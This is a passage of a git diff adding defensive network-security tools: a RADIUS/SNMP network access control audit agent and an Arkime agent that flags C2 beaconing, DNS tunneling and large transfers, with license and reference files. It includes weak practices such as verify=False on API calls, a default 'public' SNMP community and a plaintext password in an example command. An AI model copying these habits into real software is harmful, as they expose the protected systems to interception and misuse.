report["results"]["ca"] = {"subject": ca_cert.subject.rfc4514_string()} + print(f"[+] CA certificate generated") + + if args.action in ("issue_cert", "full_setup"): + ca_key_path = f"{args.output_dir}/ca-key.pem" + ca_cert_path = f"{args.output_dir}/ca.pem" + with open(ca_key_path, "rb") as f: + ca_key = serialization.load_pem_private_key(f.read(), password=None) + with open(ca_cert_path, "rb") as f: + ca_cert = x509.load_pem_x509_certificate(f.read()) + services = ["api-gateway", "auth-service", "data-service"] + for svc in services: + svc_key, svc_cert = issue_service_cert(ca_key, ca_cert, svc) + save_pem(svc_key, svc_cert, + f"{args.output_dir}/{svc}-key.pem", f"{args.output_dir}/{svc}.pem") + print(f"[+] Issued certificate for {svc}") + + if args.action in ("audit", "full_setup") and (args.audit_dir or args.output_dir): + audit_dir = args.audit_dir or args.output_dir + audit_results = audit_certificates(audit_dir) + report["results"]["audit"] = audit_results + expiring = [a for a in audit_results if a.get("severity") in ("CRITICAL", "HIGH")] + print(f"[+] Audited {len(audit_results)} certs, {len(expiring)} expiring soon") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-nerc-cip-compliance-controls/LICENSE b/skills/implementing-nerc-cip-compliance-controls/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-nerc-cip-compliance-controls/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-network-access-control-with-cisco-ise/LICENSE b/skills/implementing-network-access-control-with-cisco-ise/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-network-access-control-with-cisco-ise/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-network-access-control/LICENSE b/skills/implementing-network-access-control/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-network-access-control/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-network-access-control/references/api-reference.md b/skills/implementing-network-access-control/references/api-reference.md new file mode 100644 index 00000000..916b578c --- /dev/null +++ b/skills/implementing-network-access-control/references/api-reference.md @@ -0,0 +1,58 @@ +# API Reference: Implementing Network Access Control + +## Libraries + +### pyrad (RADIUS Client) +- **Install**: `pip install pyrad` +- **Docs**: https://pypi.org/project/pyrad/ +- `Client(server, secret, dict)` -- Create RADIUS client +- `CreateAuthPacket()` -- Build Access-Request +- `SendPacket(req)` -- Send and receive RADIUS reply +- Response codes: `AccessAccept`, `AccessReject`, `AccessChallenge` + +### pysnmp (SNMP for Switch Queries) +- **Install**: `pip install pysnmp` +- **Docs**: https://pysnmp.readthedocs.io/ +- `getCmd()` -- SNMP GET request +- `nextCmd()` -- SNMP GETNEXT/walk +- `CommunityData()` -- SNMPv2c community string +- `UsmUserData()` -- SNMPv3 authentication + +## 802.1X SNMP OIDs + +| OID | Description | +|-----|-------------| +| `1.3.6.1.2.1.8802.1.1.1.1.2.1.1.1` | dot1xAuthAuthControlledPortStatus | +| `1.3.6.1.2.1.8802.1.1.1.1.2.1.1.2` | dot1xAuthAuthControlledPortControl | +| `1.3.6.1.2.1.8802.1.1.1.1.2.4.1.1` | dot1xAuthSessionAuthenticMethod | + +## RADIUS Attributes + +| Attribute | Use | +|-----------|-----| +| `User-Name` | Client identity | +| `User-Password` | PAP password | +| `NAS-IP-Address` | Switch/AP IP | +| `NAS-Port-Type` | Port type (Ethernet, Wireless) | +| `Tunnel-Type` | VLAN assignment (13 = VLAN) | +| `Tunnel-Medium-Type` | Medium (6 = 802) | +| `Tunnel-Private-Group-Id` | VLAN ID for dynamic assignment | +| `Filter-Id` | ACL name to apply | + +## EAP Methods +- **EAP-TLS**: Certificate-based (strongest, requires PKI) +- **PEAP**: Password with TLS tunnel +- **EAP-TTLS**: Tunneled TLS (flexible inner auth) +- **MAB**: MAC Authentication Bypass (fallback, no supplicant) + +## PacketFence NAC API +- REST API at `https://packetfence:9999/api/v1/` +- `GET /nodes` -- List known devices +- `POST /nodes/{mac}/register` -- Register device +- `GET /violations` -- Active violations + +## External References +- FreeRADIUS: https://freeradius.org/documentation/ +- PacketFence NAC: https://www.packetfence.org/doc/ +- Cisco ISE: https://developer.cisco.com/docs/identity-services-engine/ +- 802.1X RFC 3748: https://datatracker.ietf.org/doc/html/rfc3748 diff --git a/skills/implementing-network-access-control/scripts/agent.py b/skills/implementing-network-access-control/scripts/agent.py new file mode 100644 index 00000000..b5c3b056 --- /dev/null +++ b/skills/implementing-network-access-control/scripts/agent.py @@ -0,0 +1,217 @@ +#!/usr/bin/env python3 +"""Network Access Control (802.1X/NAC) monitoring agent using RADIUS and SNMP.""" + +import json +import sys +import argparse +import socket +import struct +from datetime import datetime +from collections import Counter + +try: + from pyrad.client import Client + from pyrad.dictionary import Dictionary + from pyrad import packet +except ImportError: + print("Install pyrad: pip install pyrad") + sys.exit(1) + +try: + from pysnmp.hlapi import (getCmd, nextCmd, SnmpEngine, CommunityData, + UdpTransportTarget, ContextData, ObjectType, ObjectIdentity) + HAS_SNMP = True +except ImportError: + HAS_SNMP = False + + +def test_radius_auth(server, secret, username, password, port=1812): + """Test RADIUS authentication for a user credential pair.""" + srv = Client(server=server, secret=secret.encode(), + dict=Dictionary(dict_file=None)) + srv.AuthPort = port + req = srv.CreateAuthPacket(code=packet.AccessRequest, User_Name=username) + req["User-Password"] = req.PwCrypt(password) + req["NAS-IP-Address"] = "192.168.1.1" + req["NAS-Port-Type"] = "Ethernet" + req["NAS-Port"] = 1 + try: + reply = srv.SendPacket(req) + if reply.code == packet.AccessAccept: + attrs = {} + for key in reply.keys(): + attrs[key] = reply[key] + return {"status": "ACCEPT", "user": username, "attributes": str(attrs)} + elif reply.code == packet.AccessReject: + return {"status": "REJECT", "user": username, "reason": "Invalid credentials"} + elif reply.code == packet.AccessChallenge: + return {"status": "CHALLENGE", "user": username, "reason": "Additional auth required"} + except Exception as e: + return {"status": "ERROR", "user": username, "error": str(e)} + + +def parse_radius_log(log_file, max_lines=1000): + """Parse FreeRADIUS log file for authentication events.""" + events = [] + try: + with open(log_file, "r") as f: + for i, line in enumerate(f): + if i >= max_lines: + break + if "Auth:" in line or "Login" in line: + parts = line.strip().split() + event = {"raw": line.strip(), "timestamp": " ".join(parts[:3]) if len(parts) > 3 else ""} + if "Login OK" in line: + event["result"] = "SUCCESS" + elif "Login incorrect" in line: + event["result"] = "FAILURE" + elif "Invalid user" in line: + event["result"] = "INVALID_USER" + else: + event["result"] = "OTHER" + events.append(event) + except FileNotFoundError: + events.append({"error": f"Log file not found: {log_file}"}) + return events + + +def check_switch_port_status(switch_ip, community="public"): + """Query switch via SNMP for 802.1X port authentication status.""" + if not HAS_SNMP: + return [{"error": "pysnmp not installed. Run: pip install pysnmp"}] + + dot1x_auth_oid = "1.3.6.1.2.1.8802.1.1.1.1.2.1.1.1" + results = [] + iterator = nextCmd( + SnmpEngine(), CommunityData(community), + UdpTransportTarget((switch_ip, 161)), + ContextData(), + ObjectType(ObjectIdentity(dot1x_auth_oid)), + maxRows=100) + + for errorIndication, errorStatus, errorIndex, varBinds in iterator: + if errorIndication or errorStatus: + results.append({"error": str(errorIndication or errorStatus)}) + break + for varBind in varBinds: + oid, value = varBind + port_index = str(oid).split(".")[-1] + auth_states = {1: "initialize", 2: "disconnected", 3: "connecting", + 4: "authenticating", 5: "authenticated", + 6: "aborting", 7: "held", 8: "forceAuth", 9: "forceUnauth"} + results.append({ + "port": port_index, + "state": auth_states.get(int(value), f"unknown({value})"), + "state_code": int(value) + }) + return results + + +def analyze_auth_events(events): + """Analyze authentication events for security issues.""" + result_counts = Counter(e.get("result", "UNKNOWN") for e in events) + total = len(events) + failures = result_counts.get("FAILURE", 0) + result_counts.get("INVALID_USER", 0) + success_rate = round((result_counts.get("SUCCESS", 0) / max(total, 1)) * 100, 1) + + analysis = { + "total_events": total, + "successes": result_counts.get("SUCCESS", 0), + "failures": failures, + "invalid_users": result_counts.get("INVALID_USER", 0), + "success_rate": success_rate, + "risk_level": "HIGH" if failures > total * 0.3 else "MEDIUM" if failures > total * 0.1 else "LOW", + } + + if failures > 20: + analysis["alert"] = "High number of authentication failures - possible brute force attack" + + return analysis + + +def generate_nac_policy_check(): + """Generate a NAC compliance policy checklist.""" + policies = [ + {"check": "802.1X enforcement", "requirement": "All access ports configured for dot1x", + "standard": "PCI-DSS 1.2"}, + {"check": "Guest VLAN isolation", "requirement": "Unauthenticated devices on restricted VLAN", + "standard": "NIST 800-53 AC-4"}, + {"check": "MAB fallback", "requirement": "MAC Authentication Bypass for non-supplicant devices", + "standard": "Best Practice"}, + {"check": "EAP-TLS certificates", "requirement": "Certificate-based auth for managed devices", + "standard": "NIST 800-53 IA-5"}, + {"check": "Posture assessment", "requirement": "Endpoint compliance check before full access", + "standard": "PCI-DSS 5.3"}, + {"check": "Dynamic VLAN assignment", "requirement": "Role-based VLAN via RADIUS attributes", + "standard": "NIST 800-53 AC-6"}, + {"check": "Re-authentication timer", "requirement": "Periodic re-auth every 3600 seconds", + "standard": "Best Practice"}, + {"check": "RADIUS accounting", "requirement": "Accounting enabled for audit trail", + "standard": "SOC 2 CC6.1"}, + ] + return policies + + +def run_nac_audit(radius_log=None, switch_ip=None, community="public"): + """Run NAC security audit.""" + print(f"\n{'='*60}") + print(f" NETWORK ACCESS CONTROL AUDIT") + print(f" Generated: {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC") + print(f"{'='*60}\n") + + policies = generate_nac_policy_check() + print(f"--- NAC POLICY CHECKLIST ---") + for p in policies: + print(f" [ ] {p['check']}: {p['requirement']} ({p['standard']})") + + if radius_log: + events = parse_radius_log(radius_log) + analysis = analyze_auth_events(events) + print(f"\n--- RADIUS AUTH ANALYSIS ---") + print(f" Total Events: {analysis['total_events']}") + print(f" Successes: {analysis['successes']}") + print(f" Failures: {analysis['failures']}") + print(f" Success Rate: {analysis['success_rate']}%") + print(f" Risk Level: {analysis['risk_level']}") + if analysis.get("alert"): + print(f" ALERT: {analysis['alert']}") + + if switch_ip: + ports = check_switch_port_status(switch_ip, community) + print(f"\n--- SWITCH PORT STATUS ({switch_ip}) ---") + for p in ports[:20]: + if "error" in p: + print(f" Error: {p['error']}") + else: + icon = "[OK]" if p["state"] == "authenticated" else "[!!]" + print(f" {icon} Port {p['port']}: {p['state']}") + + print(f"\n{'='*60}\n") + return {"policies": policies} + + +def main(): + parser = argparse.ArgumentParser(description="Network Access Control Agent") + parser.add_argument("--audit", action="store_true", help="Run NAC audit") + parser.add_argument("--radius-log", help="Path to FreeRADIUS log file") + parser.add_argument("--switch", help="Switch IP for SNMP 802.1X status check") + parser.add_argument("--community", default="public", help="SNMP community string") + parser.add_argument("--test-auth", nargs=4, metavar=("SERVER", "SECRET", "USER", "PASS"), + help="Test RADIUS authentication") + parser.add_argument("--output", help="Save report to JSON") + args = parser.parse_args() + + if args.test_auth: + result = test_radius_auth(*args.test_auth) + print(json.dumps(result, indent=2)) + elif args.audit: + report = run_nac_audit(args.radius_log, args.switch, args.community) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-network-intrusion-prevention-with-suricata/LICENSE b/skills/implementing-network-intrusion-prevention-with-suricata/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-network-intrusion-prevention-with-suricata/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-network-policies-for-kubernetes/LICENSE b/skills/implementing-network-policies-for-kubernetes/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-network-policies-for-kubernetes/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-network-segmentation-for-ot/LICENSE b/skills/implementing-network-segmentation-for-ot/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-network-segmentation-for-ot/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-network-segmentation-with-firewall-zones/LICENSE b/skills/implementing-network-segmentation-with-firewall-zones/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-network-segmentation-with-firewall-zones/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-network-traffic-analysis-with-arkime/LICENSE b/skills/implementing-network-traffic-analysis-with-arkime/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-network-traffic-analysis-with-arkime/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-network-traffic-analysis-with-arkime/SKILL.md b/skills/implementing-network-traffic-analysis-with-arkime/SKILL.md new file mode 100644 index 00000000..5fb131ee --- /dev/null +++ b/skills/implementing-network-traffic-analysis-with-arkime/SKILL.md @@ -0,0 +1,34 @@ +--- +name: implementing-network-traffic-analysis-with-arkime +description: >- + Deploy and query Arkime (formerly Moloch) for full packet capture network + traffic analysis. Uses the Arkime API v3 to search sessions, download PCAPs, + analyze connection patterns, detect beaconing behavior, and identify suspicious + network flows. Monitors DNS queries, HTTP traffic, and TLS certificate anomalies + across captured traffic. +--- + +## Instructions + +1. Install dependencies: `pip install requests` +2. Configure Arkime viewer URL and credentials. +3. Run the agent to query Arkime sessions and analyze traffic: + - Search sessions by IP, port, protocol, or expression + - Download PCAP data for forensic analysis + - Detect C2 beaconing via connection interval analysis + - Identify DNS tunneling through query length statistics + - Flag connections to known-bad TLS certificate issuers + +```bash +python scripts/agent.py --arkime-url https://arkime.local:8005 --user admin --password secret --output arkime_report.json +``` + +## Examples + +### Beaconing Detection +``` +Source: 10.1.2.50 -> 185.220.101.34:443 +Sessions: 288 over 24 hours +Avg interval: 300s, Jitter: 4.2% +Verdict: HIGH confidence C2 beaconing (jitter < 5%) +``` diff --git a/skills/implementing-network-traffic-analysis-with-arkime/references/api-reference.md b/skills/implementing-network-traffic-analysis-with-arkime/references/api-reference.md new file mode 100644 index 00000000..eed120e5 --- /dev/null +++ b/skills/implementing-network-traffic-analysis-with-arkime/references/api-reference.md @@ -0,0 +1,75 @@ +# API Reference: Arkime Network Traffic Analysis + +## Authentication +``` +HTTPDigestAuth(username, password) +``` +All API requests require Digest authentication. + +## Session Search +``` +GET /api/sessions +``` +| Parameter | Type | Description | +|-----------|------|-------------| +| `date` | int | Time range in hours (1=last hour) | +| `expression` | string | Arkime search expression | +| `length` | int | Max results to return | +| `order` | string | Sort field:direction (e.g. `lastPacket:desc`) | +| `fields` | string | Comma-separated field list | + +## PCAP Download +``` +GET /api/sessions/pcap +GET /api/sessions/pcapng +``` +| Parameter | Description | +|-----------|-------------| +| `date` | Time range in hours | +| `expression` | Filter expression | +Returns raw PCAP/PCAPNG binary data. + +## Connection Graph +``` +GET /api/connections +``` +Returns `nodes` (IPs) and `links` (connections) for network graph visualization. + +## SPI View (Field Statistics) +``` +GET /api/spiview +``` +| Parameter | Description | +|-----------|-------------| +| `spi` | Comma-separated fields (e.g. `srcIp,dstIp,dstPort`) | +Returns top values and counts for each field. + +## Session Fields +| Field | Description | +|-------|-------------| +| `srcIp` | Source IP address | +| `dstIp` | Destination IP address | +| `srcPort` | Source port | +| `dstPort` | Destination port | +| `srcBytes` | Bytes sent by source | +| `dstBytes` | Bytes sent by destination | +| `lastPacket` | Timestamp of last packet (ms) | +| `srcJa3` | JA3 fingerprint of client TLS | +| `tls.issuerCN` | TLS certificate issuer CN | +| `tls.subjectCN` | TLS certificate subject CN | +| `tls.notAfter` | Certificate expiry (ms epoch) | + +## Search Expressions +``` +ip.src == 10.0.0.0/8 +port.dst == 443 +protocols == tls +country.src == CN +bytes > 1000000 +``` + +## Beaconing Detection Logic +- Collect connection timestamps per (src, dst, port) tuple +- Calculate intervals between consecutive connections +- Compute jitter ratio: `std_dev / avg_interval` +- Jitter < 0.05 = high confidence C2, < 0.15 = medium diff --git a/skills/implementing-network-traffic-analysis-with-arkime/scripts/agent.py b/skills/implementing-network-traffic-analysis-with-arkime/scripts/agent.py new file mode 100644 index 00000000..f3b55265 --- /dev/null +++ b/skills/implementing-network-traffic-analysis-with-arkime/scripts/agent.py @@ -0,0 +1,213 @@ +#!/usr/bin/env python3 +"""Arkime Network Traffic Analysis Agent - Queries Arkime API for session analysis and anomaly detection.""" + +import json +import logging +import argparse +from datetime import datetime +from collections import defaultdict + +import requests +from requests.auth import HTTPDigestAuth + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def arkime_request(base_url, endpoint, auth, params=None): + """Make an authenticated request to Arkime API v3.""" + url = f"{base_url}{endpoint}" + try: + resp = requests.get(url, auth=HTTPDigestAuth(*auth), params=params, verify=False, timeout=30) + resp.raise_for_status() + return resp.json() + except requests.RequestException as e: + logger.error("Arkime API error %s: %s", endpoint, e) + return None + + +def search_sessions(base_url, auth, expression, date_range=1, length=500): + """Search Arkime sessions with an expression filter.""" + params = { + "date": date_range, + "expression": expression, + "length": length, + "order": "lastPacket:desc", + } + data = arkime_request(base_url, "/api/sessions", auth, params) + if data and "data" in data: + logger.info("Found %d sessions for expression: %s", len(data["data"]), expression) + return data["data"] + return [] + + +def get_connections(base_url, auth, expression, date_range=1): + """Get connection graph data from Arkime.""" + params = {"date": date_range, "expression": expression} + data = arkime_request(base_url, "/api/connections", auth, params) + if data: + nodes = data.get("nodes", []) + links = data.get("links", []) + logger.info("Connection graph: %d nodes, %d links", len(nodes), len(links)) + return {"nodes": nodes, "links": links} + return {"nodes": [], "links": []} + + +def get_spi_view(base_url, auth, expression, date_range=1): + """Get SPI view field statistics from Arkime.""" + params = {"date": date_range, "expression": expression, "spi": "srcIp,dstIp,dstPort"} + data = arkime_request(base_url, "/api/spiview", auth, params) + return data if data else {} + + +def detect_beaconing(sessions, interval_threshold=0.15): + """Detect C2 beaconing by analyzing connection intervals.""" + connections = defaultdict(list) + for s in sessions: + key = (s.get("srcIp", ""), s.get("dstIp", ""), s.get("dstPort", 0)) + connections[key].append(s.get("lastPacket", 0)) + + beacons = [] + for (src, dst, port), timestamps in connections.items(): + if len(timestamps) < 10: + continue + timestamps.sort() + intervals = [timestamps[i + 1] - timestamps[i] for i in range(len(timestamps) - 1)] + if not intervals: + continue + avg_interval = sum(intervals) / len(intervals) + if avg_interval == 0: + continue + std_dev = (sum((i - avg_interval) ** 2 for i in intervals) / len(intervals)) ** 0.5 + jitter_ratio = std_dev / avg_interval + + if jitter_ratio < interval_threshold: + beacons.append({ + "src_ip": src, + "dst_ip": dst, + "dst_port": port, + "session_count": len(timestamps), + "avg_interval_sec": round(avg_interval / 1000, 1), + "jitter_ratio": round(jitter_ratio, 4), + "confidence": "high" if jitter_ratio < 0.05 else "medium", + "severity": "critical", + }) + logger.warning("Beaconing: %s -> %s:%d (jitter: %.4f)", src, dst, port, jitter_ratio) + return beacons + + +def detect_dns_tunneling(sessions, query_len_threshold=50): + """Detect DNS tunneling via abnormally long DNS queries.""" + dns_sessions = [s for s in sessions if s.get("dstPort") == 53] + suspicious = [] + src_stats = defaultdict(lambda: {"count": 0, "total_bytes": 0}) + + for s in dns_sessions: + src = s.get("srcIp", "") + src_stats[src]["count"] += 1 + src_stats[src]["total_bytes"] += s.get("srcBytes", 0) + s.get("dstBytes", 0) + + for src, stats in src_stats.items(): + avg_bytes = stats["total_bytes"] / max(stats["count"], 1) + if stats["count"] > 100 and avg_bytes > query_len_threshold: + suspicious.append({ + "src_ip": src, + "dns_query_count": stats["count"], + "avg_bytes_per_query": round(avg_bytes, 1), + "total_bytes": stats["total_bytes"], + "severity": "high", + "indicator": "DNS tunneling - high volume with large payloads", + }) + return suspicious + + +def detect_large_transfers(sessions, threshold_mb=100): + """Detect unusually large data transfers.""" + threshold_bytes = threshold_mb * 1024 * 1024 + large = [] + for s in sessions: + total = s.get("srcBytes", 0) + s.get("dstBytes", 0) + if total > threshold_bytes: + large.append({ + "src_ip": s.get("srcIp", ""), + "dst_ip": s.get("dstIp", ""), + "dst_port": s.get("dstPort", 0), + "total_bytes": total, + "total_mb": round(total / (1024 * 1024), 2), + "severity": "high", + }) + return large + + +def detect_tls_anomalies(sessions): + """Detect TLS certificate anomalies (self-signed, expired, unusual issuers).""" + anomalies = [] + for s in sessions: + tls = s.get("tls", {}) + if not tls: + continue + ja3 = s.get("srcJa3", "") + issuer_cn = tls.get("issuerCN", "") + not_after = tls.get("notAfter", 0) + if issuer_cn and issuer_cn == tls.get("subjectCN", ""): + anomalies.append({ + "src_ip": s.get("srcIp", ""), + "dst_ip": s.get("dstIp", ""), + "issue": "self-signed certificate", + "issuer": issuer_cn, + "severity": "medium", + }) + if not_after and not_after < int(datetime.utcnow().timestamp() * 1000): + anomalies.append({ + "src_ip": s.get("srcIp", ""), + "dst_ip": s.get("dstIp", ""), + "issue": "expired certificate", + "issuer": issuer_cn, + "severity": "medium", + }) + return anomalies + + +def generate_report(beacons, dns_tunneling, large_transfers, tls_anomalies, session_count): + """Generate network traffic analysis report.""" + all_findings = beacons + dns_tunneling + large_transfers + tls_anomalies + critical = [f for f in all_findings if f.get("severity") == "critical"] + report = { + "timestamp": datetime.utcnow().isoformat(), + "sessions_analyzed": session_count, + "findings_total": len(all_findings), + "critical_count": len(critical), + "beaconing_detected": beacons, + "dns_tunneling": dns_tunneling, + "large_transfers": large_transfers, + "tls_anomalies": tls_anomalies, + } + print(f"ARKIME REPORT: {len(all_findings)} findings ({len(critical)} critical) from {session_count} 